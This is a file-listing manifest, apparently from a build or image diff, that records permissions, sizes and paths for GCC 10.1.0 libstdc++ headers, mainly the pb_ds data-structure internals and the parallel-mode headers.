+-rw-r--r-- root root 2396 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cc_hash_table_map_/trace_fn_imps.hpp
+-rw-r--r-- root root 2772 ./usr/include/c++/10.1.0/ext/pb_ds/detail/cond_dealtor.hpp
+-rw-r--r-- root root 13120 ./usr/include/c++/10.1.0/ext/pb_ds/detail/container_base_dispatch.hpp
+-rw-r--r-- root root 8697 ./usr/include/c++/10.1.0/ext/pb_ds/detail/debug_map_base.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/eq_fn
+-rw-r--r-- root root 2330 ./usr/include/c++/10.1.0/ext/pb_ds/detail/eq_fn/eq_by_less.hpp
+-rw-r--r-- root root 3739 ./usr/include/c++/10.1.0/ext/pb_ds/detail/eq_fn/hash_eq_fn.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_
+-rw-r--r-- root root 6639 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/constructor_destructor_fn_imps.hpp
+-rw-r--r-- root root 2235 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/constructor_destructor_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2302 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/constructor_destructor_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2207 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 2538 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/debug_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2678 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/debug_store_hash_fn_imps.hpp
+-rw-r--r-- root root 3237 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 2918 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/erase_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2952 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/erase_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2511 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/find_fn_imps.hpp
+-rw-r--r-- root root 1950 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/find_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 1780 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/find_store_hash_fn_imps.hpp
+-rw-r--r-- root root 20441 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/gp_ht_map_.hpp
+-rw-r--r-- root root 2160 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/info_fn_imps.hpp
+-rw-r--r-- root root 1896 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 3810 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/insert_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 4118 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/insert_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2652 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/iterator_fn_imps.hpp
+-rw-r--r-- root root 2693 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 4190 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/resize_fn_imps.hpp
+-rw-r--r-- root root 2651 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/resize_no_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2684 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/resize_store_hash_fn_imps.hpp
+-rw-r--r-- root root 2457 ./usr/include/c++/10.1.0/ext/pb_ds/detail/gp_hash_table_map_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn
+-rw-r--r-- root root 2137 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/direct_mask_range_hashing_imp.hpp
+-rw-r--r-- root root 2127 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/direct_mod_range_hashing_imp.hpp
+-rw-r--r-- root root 1946 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/linear_probe_fn_imp.hpp
+-rw-r--r-- root root 3290 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/mask_based_range_hashing.hpp
+-rw-r--r-- root root 2391 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/mod_based_range_hashing.hpp
+-rw-r--r-- root root 2009 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/probe_fn_base.hpp
+-rw-r--r-- root root 1953 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/quadratic_probe_fn_imp.hpp
+-rw-r--r-- root root 10543 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/ranged_hash_fn.hpp
+-rw-r--r-- root root 10256 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/ranged_probe_fn.hpp
+-rw-r--r-- root root 2291 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/sample_probe_fn.hpp
+-rw-r--r-- root root 2469 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/sample_ranged_hash_fn.hpp
+-rw-r--r-- root root 2598 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/sample_ranged_probe_fn.hpp
+-rw-r--r-- root root 2487 ./usr/include/c++/10.1.0/ext/pb_ds/detail/hash_fn/sample_range_hashing.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_
+-rw-r--r-- root root 4924 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/const_iterator.hpp
+-rw-r--r-- root root 4088 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 4108 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 3992 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 2158 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/info_fn_imps.hpp
+-rw-r--r-- root root 5234 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 2588 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/iterators_fn_imps.hpp
+-rw-r--r-- root root 8182 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/left_child_next_sibling_heap_.hpp
+-rw-r--r-- root root 3240 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/node.hpp
+-rw-r--r-- root root 4397 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/point_const_iterator.hpp
+-rw-r--r-- root root 1960 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 2848 ./usr/include/c++/10.1.0/ext/pb_ds/detail/left_child_next_sibling_heap_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_
+-rw-r--r-- root root 3617 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/constructor_destructor_fn_imps.hpp
+-rw-r--r-- root root 2128 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 2117 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/entry_metadata_base.hpp
+-rw-r--r-- root root 3515 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 2894 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/find_fn_imps.hpp
+-rw-r--r-- root root 2126 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/info_fn_imps.hpp
+-rw-r--r-- root root 3543 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 2547 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/iterators_fn_imps.hpp
+-rw-r--r-- root root 10551 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/lu_map_.hpp
+-rw-r--r-- root root 2061 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_map_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_policy
+-rw-r--r-- root root 2850 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_policy/lu_counter_metadata.hpp
+-rw-r--r-- root root 2672 ./usr/include/c++/10.1.0/ext/pb_ds/detail/list_update_policy/sample_update_policy.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_
+-rw-r--r-- root root 6916 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2851 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 5014 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 2136 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/info_fn_imps.hpp
+-rw-r--r-- root root 2306 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 3394 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/iterators_fn_imps.hpp
+-rw-r--r-- root root 8638 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/node_iterators.hpp
+-rw-r--r-- root root 15509 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/ov_tree_map_.hpp
+-rw-r--r-- root root 1920 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 3807 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/split_join_fn_imps.hpp
+-rw-r--r-- root root 4562 ./usr/include/c++/10.1.0/ext/pb_ds/detail/ov_tree_map_/traits.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_
+-rw-r--r-- root root 2539 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2029 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 7224 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 1970 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/find_fn_imps.hpp
+-rw-r--r-- root root 2980 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 5500 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/pairing_heap_.hpp
+-rw-r--r-- root root 3739 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pairing_heap_/split_join_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_
+-rw-r--r-- root root 5745 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 3824 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/debug_fn_imps.hpp
+-rw-r--r-- root root 7978 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/erase_fn_imps.hpp
+-rw-r--r-- root root 7908 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/find_fn_imps.hpp
+-rw-r--r-- root root 2108 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/info_fn_imps.hpp
+-rw-r--r-- root root 14508 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/insert_join_fn_imps.hpp
+-rw-r--r-- root root 3513 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/iterators_fn_imps.hpp
+-rw-r--r-- root root 36857 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/pat_trie_base.hpp
+-rw-r--r-- root root 16777 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/pat_trie_.hpp
+-rw-r--r-- root root 2248 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/policy_access_fn_imps.hpp
+-rw-r--r-- root root 2953 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/r_erase_fn_imps.hpp
+-rw-r--r-- root root 4363 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/rotate_fn_imps.hpp
+-rw-r--r-- root root 7758 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/split_fn_imps.hpp
+-rw-r--r-- root root 6718 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/synth_access_traits.hpp
+-rw-r--r-- root root 3434 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/trace_fn_imps.hpp
+-rw-r--r-- root root 6305 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/traits.hpp
+-rw-r--r-- root root 2075 ./usr/include/c++/10.1.0/ext/pb_ds/detail/pat_trie_/update_fn_imps.hpp
+-rw-r--r-- root root 4140 ./usr/include/c++/10.1.0/ext/pb_ds/detail/priority_queue_base_dispatch.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_
+-rw-r--r-- root root 2816 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2794 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/debug_fn_imps.hpp
+-rw-r--r-- root root 7084 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/erase_fn_imps.hpp
+-rw-r--r-- root root 1703 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/find_fn_imps.hpp
+-rw-r--r-- root root 1874 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/info_fn_imps.hpp
+-rw-r--r-- root root 3900 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/insert_fn_imps.hpp
+-rw-r--r-- root root 3671 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/node.hpp
+-rw-r--r-- root root 7962 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/rb_tree_.hpp
+-rw-r--r-- root root 7894 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/split_join_fn_imps.hpp
+-rw-r--r-- root root 3283 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rb_tree_map_/traits.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_
+-rw-r--r-- root root 2500 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 3571 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 2922 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 4270 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 5303 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/rc_binomial_heap_.hpp
+-rw-r--r-- root root 6199 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/rc.hpp
+-rw-r--r-- root root 2451 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/split_join_fn_imps.hpp
+-rw-r--r-- root root 1937 ./usr/include/c++/10.1.0/ext/pb_ds/detail/rc_binomial_heap_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy
+-rw-r--r-- root root 4932 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/cc_hash_max_collision_check_resize_trigger_imp.hpp
+-rw-r--r-- root root 2805 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_exponential_size_policy_imp.hpp
+-rw-r--r-- root root 7785 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_load_check_resize_trigger_imp.hpp
+-rw-r--r-- root root 2970 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_load_check_resize_trigger_size_base.hpp
+-rw-r--r-- root root 6172 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_prime_size_policy_imp.hpp
+-rw-r--r-- root root 6316 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/hash_standard_resize_policy_imp.hpp
+-rw-r--r-- root root 3578 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/sample_resize_policy.hpp
+-rw-r--r-- root root 3914 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/sample_resize_trigger.hpp
+-rw-r--r-- root root 2427 ./usr/include/c++/10.1.0/ext/pb_ds/detail/resize_policy/sample_size_policy.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_
+-rw-r--r-- root root 2880 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 2496 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/debug_fn_imps.hpp
+-rw-r--r-- root root 4302 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/erase_fn_imps.hpp
+-rw-r--r-- root root 3352 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/find_fn_imps.hpp
+-rw-r--r-- root root 1689 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/info_fn_imps.hpp
+-rw-r--r-- root root 3386 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/insert_fn_imps.hpp
+-rw-r--r-- root root 3587 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/node.hpp
+-rw-r--r-- root root 8082 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/splay_fn_imps.hpp
+-rw-r--r-- root root 9307 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/splay_tree_.hpp
+-rw-r--r-- root root 3667 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/split_join_fn_imps.hpp
+-rw-r--r-- root root 3351 ./usr/include/c++/10.1.0/ext/pb_ds/detail/splay_tree_/traits.hpp
+-rw-r--r-- root root 5031 ./usr/include/c++/10.1.0/ext/pb_ds/detail/standard_policies.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_
+-rw-r--r-- root root 2979 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/constructors_destructor_fn_imps.hpp
+-rw-r--r-- root root 3899 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/debug_fn_imps.hpp
+-rw-r--r-- root root 6088 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/erase_fn_imps.hpp
+-rw-r--r-- root root 1985 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/find_fn_imps.hpp
+-rw-r--r-- root root 7516 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/insert_fn_imps.hpp
+-rw-r--r-- root root 3188 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/split_join_fn_imps.hpp
+-rw-r--r-- root root 8389 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/thin_heap_.hpp
+-rw-r--r-- root root 1995 ./usr/include/c++/10.1.0/ext/pb_ds/detail/thin_heap_/trace_fn_imps.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_policy
+-rw-r--r-- root root 3338 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_policy/node_metadata_selector.hpp
+-rw-r--r-- root root 3756 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_policy/order_statistics_imp.hpp
+-rw-r--r-- root root 2346 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_policy/sample_tree_node_update.hpp
+-rw-r--r-- root root 5153 ./usr/include/c++/10.1.0/ext/pb_ds/detail/tree_trace_base.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy
+-rw-r--r-- root root 3338 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/node_metadata_selector.hpp
+-rw-r--r-- root root 4734 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/order_statistics_imp.hpp
+-rw-r--r-- root root 4544 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/prefix_search_node_update_imp.hpp
+-rw-r--r-- root root 2666 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/sample_trie_access_traits.hpp
+-rw-r--r-- root root 2348 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/sample_trie_node_update.hpp
+-rw-r--r-- root root 5847 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/trie_policy_base.hpp
+-rw-r--r-- root root 3084 ./usr/include/c++/10.1.0/ext/pb_ds/detail/trie_policy/trie_string_access_traits_imp.hpp
+-rw-r--r-- root root 6450 ./usr/include/c++/10.1.0/ext/pb_ds/detail/types_traits.hpp
+-rw-r--r-- root root 4318 ./usr/include/c++/10.1.0/ext/pb_ds/detail/type_utils.hpp
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator
+-rw-r--r-- root root 3517 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator/const_iterator.hpp
+-rw-r--r-- root root 3966 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator/iterator.hpp
+-rw-r--r-- root root 3975 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator/point_const_iterator.hpp
+-rw-r--r-- root root 3742 ./usr/include/c++/10.1.0/ext/pb_ds/detail/unordered_iterator/point_iterator.hpp
+-rw-r--r-- root root 2988 ./usr/include/c++/10.1.0/ext/pb_ds/exception.hpp
+-rw-r--r-- root root 16815 ./usr/include/c++/10.1.0/ext/pb_ds/hash_policy.hpp
+-rw-r--r-- root root 4318 ./usr/include/c++/10.1.0/ext/pb_ds/list_update_policy.hpp
+-rw-r--r-- root root 5444 ./usr/include/c++/10.1.0/ext/pb_ds/priority_queue.hpp
+-rw-r--r-- root root 12268 ./usr/include/c++/10.1.0/ext/pb_ds/tag_and_trait.hpp
+-rw-r--r-- root root 5569 ./usr/include/c++/10.1.0/ext/pb_ds/tree_policy.hpp
+-rw-r--r-- root root 12201 ./usr/include/c++/10.1.0/ext/pb_ds/trie_policy.hpp
+-rw-r--r-- root root 5556 ./usr/include/c++/10.1.0/ext/pod_char_traits.h
+-rw-r--r-- root root 20480 ./usr/include/c++/10.1.0/ext/pointer.h
+-rw-r--r-- root root 8965 ./usr/include/c++/10.1.0/ext/pool_allocator.h
+-rw-r--r-- root root 113176 ./usr/include/c++/10.1.0/ext/random
+-rw-r--r-- root root 60330 ./usr/include/c++/10.1.0/ext/random.tcc
+-rw-r--r-- root root 3278 ./usr/include/c++/10.1.0/ext/rb_tree
+-rw-r--r-- root root 23794 ./usr/include/c++/10.1.0/ext/rc_string_base.h
+-rw-r--r-- root root 88598 ./usr/include/c++/10.1.0/ext/rope
+-rw-r--r-- root root 48860 ./usr/include/c++/10.1.0/ext/ropeimpl.h
+-rw-r--r-- root root 29900 ./usr/include/c++/10.1.0/ext/slist
+-rw-r--r-- root root 16393 ./usr/include/c++/10.1.0/ext/sso_string_base.h
+-rw-r--r-- root root 5670 ./usr/include/c++/10.1.0/ext/stdio_filebuf.h
+-rw-r--r-- root root 8782 ./usr/include/c++/10.1.0/ext/stdio_sync_filebuf.h
+-rw-r--r-- root root 3597 ./usr/include/c++/10.1.0/ext/string_conversions.h
+-rw-r--r-- root root 25222 ./usr/include/c++/10.1.0/ext/throw_allocator.h
+-rw-r--r-- root root 16480 ./usr/include/c++/10.1.0/ext/typelist.h
+-rw-r--r-- root root 5914 ./usr/include/c++/10.1.0/ext/type_traits.h
+-rw-r--r-- root root 3178 ./usr/include/c++/10.1.0/ext/vstring_fwd.h
+-rw-r--r-- root root 110624 ./usr/include/c++/10.1.0/ext/vstring.h
+-rw-r--r-- root root 23614 ./usr/include/c++/10.1.0/ext/vstring.tcc
+-rw-r--r-- root root 5885 ./usr/include/c++/10.1.0/ext/vstring_util.h
+-rw-r--r-- root root 2020 ./usr/include/c++/10.1.0/fenv.h
+-rw-r--r-- root root 1645 ./usr/include/c++/10.1.0/filesystem
+-rw-r--r-- root root 2690 ./usr/include/c++/10.1.0/forward_list
+-rw-r--r-- root root 40559 ./usr/include/c++/10.1.0/fstream
+-rw-r--r-- root root 40189 ./usr/include/c++/10.1.0/functional
+-rw-r--r-- root root 50826 ./usr/include/c++/10.1.0/future
+-rw-r--r-- root root 3038 ./usr/include/c++/10.1.0/initializer_list
+-rw-r--r-- root root 16547 ./usr/include/c++/10.1.0/iomanip
+-rw-r--r-- root root 1601 ./usr/include/c++/10.1.0/ios
+-rw-r--r-- root root 6918 ./usr/include/c++/10.1.0/iosfwd
+-rw-r--r-- root root 2695 ./usr/include/c++/10.1.0/iostream
+-rw-r--r-- root root 32843 ./usr/include/c++/10.1.0/istream
+-rw-r--r-- root root 2751 ./usr/include/c++/10.1.0/iterator
+-rw-r--r-- root root 71808 ./usr/include/c++/10.1.0/limits
+-rw-r--r-- root root 3657 ./usr/include/c++/10.1.0/list
+-rw-r--r-- root root 1488 ./usr/include/c++/10.1.0/locale
+-rw-r--r-- root root 3929 ./usr/include/c++/10.1.0/map
+-rw-r--r-- root root 4573 ./usr/include/c++/10.1.0/math.h
+-rw-r--r-- root root 13663 ./usr/include/c++/10.1.0/memory
+-rw-r--r-- root root 20624 ./usr/include/c++/10.1.0/memory_resource
+-rw-r--r-- root root 19755 ./usr/include/c++/10.1.0/mutex
+-rw-r--r-- root root 8199 ./usr/include/c++/10.1.0/new
+-rw-r--r-- root root 6220 ./usr/include/c++/10.1.0/numbers
+-rw-r--r-- root root 25090 ./usr/include/c++/10.1.0/numeric
+-rw-r--r-- root root 38703 ./usr/include/c++/10.1.0/optional
+-rw-r--r-- root root 24826 ./usr/include/c++/10.1.0/ostream
+drwxr-xr-x root root 4096 ./usr/include/c++/10.1.0/parallel
+-rw-r--r-- root root 18259 ./usr/include/c++/10.1.0/parallel/algobase.h
+-rw-r--r-- root root 80136 ./usr/include/c++/10.1.0/parallel/algo.h
+-rw-r--r-- root root 1381 ./usr/include/c++/10.1.0/parallel/algorithm
+-rw-r--r-- root root 32306 ./usr/include/c++/10.1.0/parallel/algorithmfwd.h
+-rw-r--r-- root root 16952 ./usr/include/c++/10.1.0/parallel/balanced_quicksort.h
+-rw-r--r-- root root 12373 ./usr/include/c++/10.1.0/parallel/base.h
+-rw-r--r-- root root 1586 ./usr/include/c++/10.1.0/parallel/basic_iterator.h
+-rw-r--r-- root root 2235 ./usr/include/c++/10.1.0/parallel/checkers.h
+-rw-r--r-- root root 3790 ./usr/include/c++/10.1.0/parallel/compatibility.h
+-rw-r--r-- root root 2871 ./usr/include/c++/10.1.0/parallel/compiletime_settings.h
+-rw-r--r-- root root 3356 ./usr/include/c++/10.1.0/parallel/equally_split.h
+-rw-r--r-- root root 3543 ./usr/include/c++/10.1.0/parallel/features.h
+-rw-r--r-- root root 13591 ./usr/include/c++/10.1.0/parallel/find.h
+-rw-r--r-- root root 6992 ./usr/include/c++/10.1.0/parallel/find_selectors.h
+-rw-r--r-- root root 3947 ./usr/include/c++/10.1.0/parallel/for_each.h
+-rw-r--r-- root root 10565 ./usr/include/c++/10.1.0/parallel/for_each_selectors.h
+-rw-r--r-- root root 5678 ./usr/include/c++/10.1.0/parallel/iterator.h
+-rw-r--r-- root root 6542 ./usr/include/c++/10.1.0/parallel/list_partition.h
+-rw-r--r-- root root 28592 ./usr/include/c++/10.1.0/parallel/losertree.h
+-rw-r--r-- root root 9578 ./usr/include/c++/10.1.0/parallel/merge.h
+-rw-r--r-- root root 22073 ./usr/include/c++/10.1.0/parallel/multiseq_selection.h
+-rw-r--r-- root root 70545 ./usr/include/c++/10.1.0/parallel/multiway_merge.h
